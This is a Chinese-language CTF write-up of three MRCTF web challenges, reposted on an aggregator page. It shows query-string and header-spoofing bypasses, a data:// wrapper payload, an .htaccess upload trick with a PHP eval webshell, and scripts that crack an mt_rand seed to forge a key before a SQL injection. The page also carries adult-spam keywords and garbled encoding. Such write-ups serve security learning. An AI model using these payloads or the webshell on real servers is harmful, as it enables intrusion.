日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

【MRCTF—Web】做题+复现记录

發(fā)布時間:2024/9/30 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【MRCTF—Web】做题+复现记录 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

套娃

——偽協(xié)議、加密、Bypass

查看源碼發(fā)現(xiàn)這一串代碼,

substr_count() 函數(shù)計算子串在字符串中出現(xiàn)的次數(shù) $_SERVER['QUERY_STRING'] 例如: http://localhost/aaa/index.php?p=222&q=333 結(jié)果: $_SERVER['QUERY_STRING'] = "p=222&q=333";

想繞過去就必須滿足我們傳入的參數(shù)沒有_,而且得通過下面代碼的匹配,這里就會有一個矛盾,GET傳入?yún)?shù)的是b_u_p_t,含有這個_,如何先將這個繞過,后面的繞過正則只需要%0a截斷就可以,查了百度,發(fā)現(xiàn)可以使用.來代替這個符號,所以payload為:

?b.u.p.t=23333%0a


出現(xiàn)下一關(guān)

發(fā)現(xiàn)需要Local access,所以應(yīng)該是需要修改XFF的,而且查看源碼發(fā)現(xiàn)

直接在控制臺執(zhí)行

POST進去一個Merak,傳入?yún)?shù)之后就可以看到源碼

仔細分析一下代碼會發(fā)現(xiàn),那個change函數(shù)就是分割一下字符繼續(xù)往上加密的,如果我們file傳入的是flag.php,那么最后呈現(xiàn)的絕對不是這個文件了,所以我們需要對這個函數(shù)進行一下改動讓輸出的字符最后變成flag.php,這也很簡單

只需把這個函數(shù)的+號變成-號,將base64解碼去掉即可,這樣的話file_get_contents這個函數(shù)便可以把這個flag.php給顯示出來了,那下面就繞過這個就可以了

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )


還要注意的是XFF給過濾了,使用Client-ip即可

總結(jié):

除此之外,看了師傅的博客,發(fā)現(xiàn)第一層繞過還可以使用來這些來進行繞過

%5F b.u.p.t(點代替_) b u p t(空格代替_)

還有就是$_SERVER[‘QUERY_STRING’]不會urldecode,所以一般套路是可以URL編碼進行繞過。

除了上面的使用php://input,對于file_get_contents()用data://偽協(xié)議也可以繞過

?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

你傳你🐎呢

——文件上傳

這個題當(dāng)時做的時候快把這個上傳方法試一遍,最后才發(fā)現(xiàn)是哪的問題

上傳任何帶php后綴的都會被ban掉,隨便查看一下報錯頁面

是Apache,所以可以嘗試使用圖片馬,利用.htaccess文件進行解析即可

上傳帶jpg后綴的圖片馬,發(fā)現(xiàn)上傳成功

再來上傳.htaccess文件,這里記得要改下Content-Type,上面測試了圖片可以繞過就改成image/jpeg,否則是繞不過去的

最后連接在根目錄下找flag即可

總結(jié):

補充一下上傳姿勢和.htaccess 文件上傳

#上傳姿勢 添加gif89a的頭 <script language=”php”> php2,php3、php4、php5、phtml、phtm代替php后綴 傳.htaccess 截斷上傳#.htaccess文件上傳 #方法一: # FileMatch 參數(shù)即為文件名的正則匹配 <FilesMatch "1.jpg">SetHandler application/x-httpd-php </FilesMatch> // 1.jpg <?php eval($_GET['a']);?> #方法二: AddType application/x-httpd-php .jpg // 1.jpg <?php eval($_GET['a']);?>

Ezaudit

——源碼泄露、偽隨機數(shù)

題目涉及到審計,就直接去掃源碼,一般都是有的


也很簡單,只要得到私鑰,在密碼處SQL注入即可得到flag,源碼中也給出了公鑰

源碼用到了函數(shù)mt_rand(),這個函數(shù)在種子相同的時候,給出的隨機數(shù)序列是一樣的,所以只要知道了種子,該函數(shù)的隨機數(shù)便可以預(yù)測。

所以下面就是爆破種子,先要將公鑰生成的15個隨機數(shù)轉(zhuǎn)換成php_mt_seed工具的Input格式

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)):for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break print res

這里要注意,str1字符串的順序要和給定的順序保持一致才行

否則是爆破不出來的

爆出了隨機種子1775196155,接下來就寫一下PHP腳本來求出私鑰

<?php #注意爆出種子的PHP版本 mt_srand(1775196155); $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; $length=12; for ( $i = 0; $i < $length; $i++ ){$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); } echo $private_key;

求得私鑰XuNhoueCDCGc,掃一下發(fā)現(xiàn)是有l(wèi)ogin.php頁面的

傳進去構(gòu)造簡單的SQL注入即可

總結(jié)

隨機數(shù)的題目套路也很簡單,就是利用工具即可,但注意在輸出格式的時候字符串的順序還有得到種子是PHP那個版本的,如果是PHP5版本的用7跑則跑不出來想要的結(jié)果,如果沒爆出版本,都試試就可以了!

總結(jié)

以上是生活随笔為你收集整理的【MRCTF—Web】做题+复现记录的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。